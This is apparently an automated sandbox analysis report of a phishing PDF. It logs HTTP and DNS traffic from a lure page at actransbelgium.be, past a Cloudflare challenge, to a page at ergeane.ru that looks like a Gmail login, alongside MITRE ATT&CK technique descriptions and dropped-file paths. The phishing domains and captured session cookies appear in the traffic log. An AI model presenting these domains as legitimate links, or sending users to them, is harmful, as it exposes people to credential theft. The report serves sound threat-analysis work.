Source: global traffic	HTTP traffic detected: GET /turnstile/v0/b/787bc399e22f/api.js HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://8h2f94s.actransbelgium.be/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /main.js HTTP/1.1Host: 8h2f94s.actransbelgium.beConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/b/787bc399e22f/api.js HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/z9snt/0x4AAAAAAA2_hQhHwsUHMEvv/auto/fbE/normal/auto/ HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://8h2f94s.actransbelgium.be/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=8f3fa3fe4ef88c24&lang=auto HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/z9snt/0x4AAAAAAA2_hQhHwsUHMEvv/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/cmg/1 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/z9snt/0x4AAAAAAA2_hQhHwsUHMEvv/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/cmg/1 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=8f3fa3fe4ef88c24&lang=auto HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: 8h2f94s.actransbelgium.beConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://8h2f94s.actransbelgium.be/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/flow/ov1/319870471:1734527670:qf-7ztt3uzBMURdDvzCWITlC6yGGHlHl0FAfY7-tHMo/8f3fa3fe4ef88c24/KZ.XewS1tW7QeEDW.dGGS0KeHwzXWKsnJcse4asWCw8-1734530022-1.1.1.1-iINHRpN83DHHIRFRrmhiplHWTO3bhLhdFpuNMB2gd95qJxU16ok.JqejDA2IG9Sg HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/i/8f3fa3fe4ef88c24/1734530026577/8iLkAWsacI_1SIW HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/z9snt/0x4AAAAAAA2_hQhHwsUHMEvv/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/i/8f3fa3fe4ef88c24/1734530026577/8iLkAWsacI_1SIW HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/pat/8f3fa3fe4ef88c24/1734530026578/356daef646888f2e76339107b9f588168a5a53239e73958162a009c51a45520c/rdwSaCtoyOJQhv2 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveCache-Control: max-age=0sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/z9snt/0x4AAAAAAA2_hQhHwsUHMEvv/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/flow/ov1/319870471:1734527670:qf-7ztt3uzBMURdDvzCWITlC6yGGHlHl0FAfY7-tHMo/8f3fa3fe4ef88c24/KZ.XewS1tW7QeEDW.dGGS0KeHwzXWKsnJcse4asWCw8-1734530022-1.1.1.1-iINHRpN83DHHIRFRrmhiplHWTO3bhLhdFpuNMB2gd95qJxU16ok.JqejDA2IG9Sg HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/flow/ov1/319870471:1734527670:qf-7ztt3uzBMURdDvzCWITlC6yGGHlHl0FAfY7-tHMo/8f3fa3fe4ef88c24/KZ.XewS1tW7QeEDW.dGGS0KeHwzXWKsnJcse4asWCw8-1734530022-1.1.1.1-iINHRpN83DHHIRFRrmhiplHWTO3bhLhdFpuNMB2gd95qJxU16ok.JqejDA2IG9Sg HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /yNriUGk0/ HTTP/1.1Host: 32.ergeane.ruConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentReferer: https://8h2f94s.actransbelgium.be/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-3.6.0.min.js HTTP/1.1Host: code.jquery.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://32.ergeane.ru/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: 32.ergeane.ruConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://32.ergeane.ru/yNriUGk0/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Ik5XZm13Wm1ablA2V1hueFdLeE83bkE9PSIsInZhbHVlIjoieUd2ZVJmSTVHM2RzQWx5MTRaaEFmUEY3VVcrbk1jQTUySzNRMDhrWlpNdk81cXFQMGZ2RFZ2UGtMUUJWOEVPOWNWU1VoeTJSRFZYbVN5NFd2OHR1ZXNrSVFyNVROZ0lyRUlwMEFUZEdrS0pLTy90ZDhaR3NrTmZBN3lGbjFVcXgiLCJtYWMiOiIxOTYzOTU5NjZjMmY5Y2ZlMDhmMGZhMGYwZDc2ODM3YWNmNmEwOGJkNTkwYWNmMmMxNzAyZjE2MDE3MjkzZjI4IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ik9sU2xFSTVHRVBGNlhMUDkzeHJJMVE9PSIsInZhbHVlIjoiQi83UVU4TjJVcm9rOExHVWZjVk1QTlN2amZJNkdGbjc0Y2YxbzB1cDJQeEE3ZFlOSlkwTytPZm9BSkUzVk5qRXpLcEpqbDhObGtUUG1tQ09DczQxWnlDbTVhU3NMUUVleDZySkhwdkJNd2wzTDNBY29qOEdIZjZjZG84N2x4QUsiLCJtYWMiOiI1ZjViYzY0ODI0MDZiNmNmMWNhOGI1NjQwMjkxMGZlNWI1NzlmMWE5OTk1ZjAzOGQ2MTg5NmZjOTYyZjY0ZWE1IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /jquery-3.6.0.min.js HTTP/1.1Host: code.jquery.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /5f15081919fdf673994ab5fd/656e7a8eaa7a23c65aeb7444_Gmail-In-App-Screenshot-(1080p).webp HTTP/1.1Host: cdn.prod.website-files.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://32.ergeane.ru/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: global traffic	DNS traffic detected: DNS query: x1.i.lencr.org
Source: global traffic	DNS traffic detected: DNS query: challenges.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: 32.ergeane.ru
Source: global traffic	DNS traffic detected: DNS query: code.jquery.com
Source: global traffic	DNS traffic detected: DNS query: a.nel.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: cdn.prod.website-files.com

Description:	Adversaries may send spearphishing emails with a malicious link in an attempt to gain access to victim systems. Spearphishing with a link is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of links to download malware contained in email, instead of attaching malicious files to the email itself, to avoid defenses that may inspect email attachments. Spearphishing may also involve social engineering techniques, such as posing as a trusted source.
Tactics:	Initial Access
Data Sources:	Application Log: Application Log Content, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Google Workspace, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Internet browser extensions to establish persistent access to victim systems. Browser extensions or plugins are small programs that can add functionality and customize aspects of Internet browsers. They can be installed directly or through a browser's app store and generally have access and permissions to everything that the browser can access.
Tactics:	Persistence
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Process: Process Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report DocuStream_Scan_l8obgs3v.pdf

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Dropped Files

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Networking

System Summary

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\f2d7866f-456f-43ed-88fb-57186d2d4e79.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ConnectorIcons\icon-241218135304Z-273.bmp

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Windows Analysis Report
DocuStream_Scan_l8obgs3v.pdf